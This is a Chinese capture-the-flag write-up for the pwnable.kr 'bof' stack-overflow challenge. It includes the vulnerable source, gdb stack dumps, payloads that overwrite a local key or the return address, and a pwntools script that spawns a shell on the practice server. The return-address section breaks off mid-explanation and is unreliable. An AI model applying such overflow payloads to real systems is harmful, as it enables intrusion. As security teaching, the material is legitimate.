题目 pawnable地址:http://pwnable.kr/play.php
题目名称:bof
1 2 3 4 5 6 7 Nana told me that buffer overflow is one of the most common software vulnerability. Is that true ? Download : http://pwnable.kr/bin/bof Download : http://pwnable.kr/bin/bof.c Running at : nc pwnable.kr 9000
解题过程 下载并查看题中给出的源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <string.h> #include <stdlib.h> void func (int key) { char overflowme[32 ]; printf ("overflow me : " ); gets(overflowme); if (key == 0xcafebabe ){ system("/bin/sh" ); } else { printf ("Nah..\n" ); } } int main (int argc, char * argv[]) { func(0xdeadbeef ); return 0 ; }
简单分析下,看到有两个函数main和func。
main函数中调用了func函数,并传递给func函数的参数为0xdeadbeef
;
func函数接收一个名为key的整型变量作为参数,定义了一个长度为32字节的数组overflowme。然后打印一段话overflow me :
;接着获取输入内容,并保存到overflowme中。最后是一个if判断语句,如果key的值为0xcafebabe
,则getshell,否则将打印Nah..\n
。
程序逻辑很简单,那么如果想getshell,正常情况是使key的值为0xcafebabe
,但由于key的值在目标程序中不可控,因此只能利用缓冲区溢出的方式,利用缓冲区溢出的方式也有两种思路:
思路一:覆盖key的值,使其等于0xcafebabe
;
思路二:覆盖返回地址的值,直接跳转到system("/bin/sh")
所在的内存地址,执行该指令。
下面使用gdb进行调试,建议使用必要的插件如peda、gef。
1 2 3 4 $ gdb ./bof gef➤ b main Breakpoint 1 at 0x68d gef➤ run
使用gdb加载后,在main函数处下个断点,然后run启动程序。
思路一 第一种思路是覆盖key的值,使其等于0xcafebabe
,因此我们需要找到做字符串比较时的内存位置,然后在这个地址处对key的值进行溢出覆盖。
反汇编func函数,找到key == 0xcafebabe
比较指令的汇编代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 gef➤ disassemble func Dump of assembler code for function func: 0x8000062c <+0>: push ebp 0x8000062d <+1>: mov ebp,esp 0x8000062f <+3>: sub esp,0x48 0x80000632 <+6>: mov eax,gs:0x14 0x80000638 <+12>: mov DWORD PTR [ebp-0xc],eax 0x8000063b <+15>: xor eax,eax 0x8000063d <+17>: mov DWORD PTR [esp],0x8000078c 0x80000644 <+24>: call 0xb7dc9ca0 <_IO_puts> 0x80000649 <+29>: lea eax,[ebp-0x2c] 0x8000064c <+32>: mov DWORD PTR [esp],eax 0x8000064f <+35>: call 0xb7dc93e0 <_IO_gets> 0x80000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe 0x8000065b <+47>: jne 0x8000066b <func+63> 0x8000065d <+49>: mov DWORD PTR [esp],0x8000079b 0x80000664 <+56>: call 0xb7da4da0 <__libc_system> 0x80000669 <+61>: jmp 0x80000677 <func+75> 0x8000066b <+63>: mov DWORD PTR [esp],0x800007a3 0x80000672 <+70>: call 0xb7dc9ca0 <_IO_puts> 0x80000677 <+75>: mov eax,DWORD PTR [ebp-0xc] 0x8000067a <+78>: xor eax,DWORD PTR gs:0x14 0x80000681 <+85>: je 0x80000688 <func+92> 0x80000683 <+87>: call 0xb7e614c0 <__stack_chk_fail> 0x80000688 <+92>: leave 0x80000689 <+93>: ret End of assembler dump.
这里看到了cmp比较指令:
1 0x80000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
这条指令的地址为0x80000654
,于是我们在这里下断点。
1 2 gef➤ b *0x80000654 Breakpoint 4 at 0x80000654
然后继续执行(c
)程序,此时进入交互模式,我们输入数据,比如AAAAAAAAAAAAAAAAAAAAAAAAA
。输入后,会在刚才的断点停下。
ps:因为不是利用覆盖返回地址的思路,因此不必给一个很长的数来确定造成程序崩溃的缓冲区长度。
我们使用ni
指令继续执行下一条指令,即执行完cmp比较指令,然后查看下esp寄存器的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 gef➤ ni gef➤ disas func Dump of assembler code for function func: 0x8000062c <+0>: push ebp 0x8000062d <+1>: mov ebp,esp 0x8000062f <+3>: sub esp,0x48 0x80000632 <+6>: mov eax,gs:0x14 0x80000638 <+12>: mov DWORD PTR [ebp-0xc],eax 0x8000063b <+15>: xor eax,eax 0x8000063d <+17>: mov DWORD PTR [esp],0x8000078c 0x80000644 <+24>: call 0xb7dc9ca0 <_IO_puts> 0x80000649 <+29>: lea eax,[ebp-0x2c] 0x8000064c <+32>: mov DWORD PTR [esp],eax 0x8000064f <+35>: call 0xb7dc93e0 <_IO_gets> 0x80000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe => 0x8000065b <+47>: jne 0x8000066b <func+63> 0x8000065d <+49>: mov DWORD PTR [esp],0x8000079b 0x80000664 <+56>: call 0xb7da4da0 <__libc_system> 0x80000669 <+61>: jmp 0x80000677 <func+75> 0x8000066b <+63>: mov DWORD PTR [esp],0x800007a3 0x80000672 <+70>: call 0xb7dc9ca0 <_IO_puts> 0x80000677 <+75>: mov eax,DWORD PTR [ebp-0xc] 0x8000067a <+78>: xor eax,DWORD PTR gs:0x14 0x80000681 <+85>: je 0x80000688 <func+92> 0x80000683 <+87>: call 0xb7e614c0 <__stack_chk_fail> 0x80000688 <+92>: leave 0x80000689 <+93>: ret End of assembler dump. gef➤ x/30wx $esp 0xbfffed20: 0xbfffed3c 0xbfffedc4 0xb7fd44e8 0xb7fd445c 0xbfffed30: 0xffffffff 0xb7d66000 0xb7d76dc8 0x41414141 0xbfffed40: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffed50: 0x41414141 0x00000041 0x80001ff4 0xa4256d00 0xbfffed60: 0xb7f1c000 0xb7f1c000 0xbfffed88 0x8000069f 0xbfffed70: 0xdeadbeef 0x80000250 0x800006b9 0x00000000 0xbfffed80: 0xb7f1c000 0xb7f1c000 0x00000000 0xb7d82637 0xbfffed90: 0x00000001 0xbfffee24 gef➤ x/wx $ebp 0xbfffed78: 0xbfffed98
进行对比操作时,key的值为0xdeadbeef
,内存地址是0xbfffed80
。到这里我们就可以计算出我们的输入位置与0xdeadbeef
之间的偏移距离,即图中画绿框的部分。
每个十六进制值代表4个字节,因此偏移的距离就是13*4=52
个字节,因此我们需要输入52个字母A
来进行填充占位,并继续填充把key的值覆盖成我们想要的值0xcafebabe
。
到这里就可以构造payload了,首先使用52个A进行填充,然后在最后位置填充0xcafebabe
。生成payload:
1 python -c "print 'A'*52 + '\xbe\xba\xfe\xca'" > ./payload
通过管道传输给nc,并连接pwnable.kr进行验证。
1 (cat payload && cat ) | nc pwnable.kr 9000
思路二 覆盖返回地址的值,直接跳转到system("/bin/sh")
指令的内存地址,执行该指令。
首先确认能够造成缓冲区溢出,覆盖返回地址的最小数据长度。
与上面一样的操作,同样在gdb中调试,我们在0x80000654
处下断点,继续运行程序,随便输入一些填充数据,这里我输入了25个A。输入ni继续执行,即执行完cmp指令,此时查看$esp的值。
1 2 3 4 5 6 7 8 gef➤ x/20wx $esp 0xbfffed40: 0xbfffed5c 0xbfffede4 0xb7fd44e8 0xb7fd445c 0xbfffed50: 0xffffffff 0xb7d66000 0xb7d76dc8 0x41414141 0xbfffed60: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffed70: 0x41414141 0x41414141 0x41414141 0x00414141 0xbfffed80: 0xb7f1c000 0xb7f1c000 0xbfffeda8 0x8000069f gef➤ x/wx $ebp 0xbfffed88: 0xbfffeda8
可以看到此时ebp的地址在0xbfffed88
处,我们输入的数据长度还不足以覆盖到返回地址。从input start
位置到ebp的距离为
1 python -c "print 'A' * 48 + '\x5d\x06\x00\x80'" > ./payload
思路1 1 2 3 4 5 6 7 from pwn import *payload = 'A' * 52 + '\xbe\xba\xfe\xca' shell = remote('pwnable.kr' ,9000 ) shell.send(payload) shell.interactive()
参考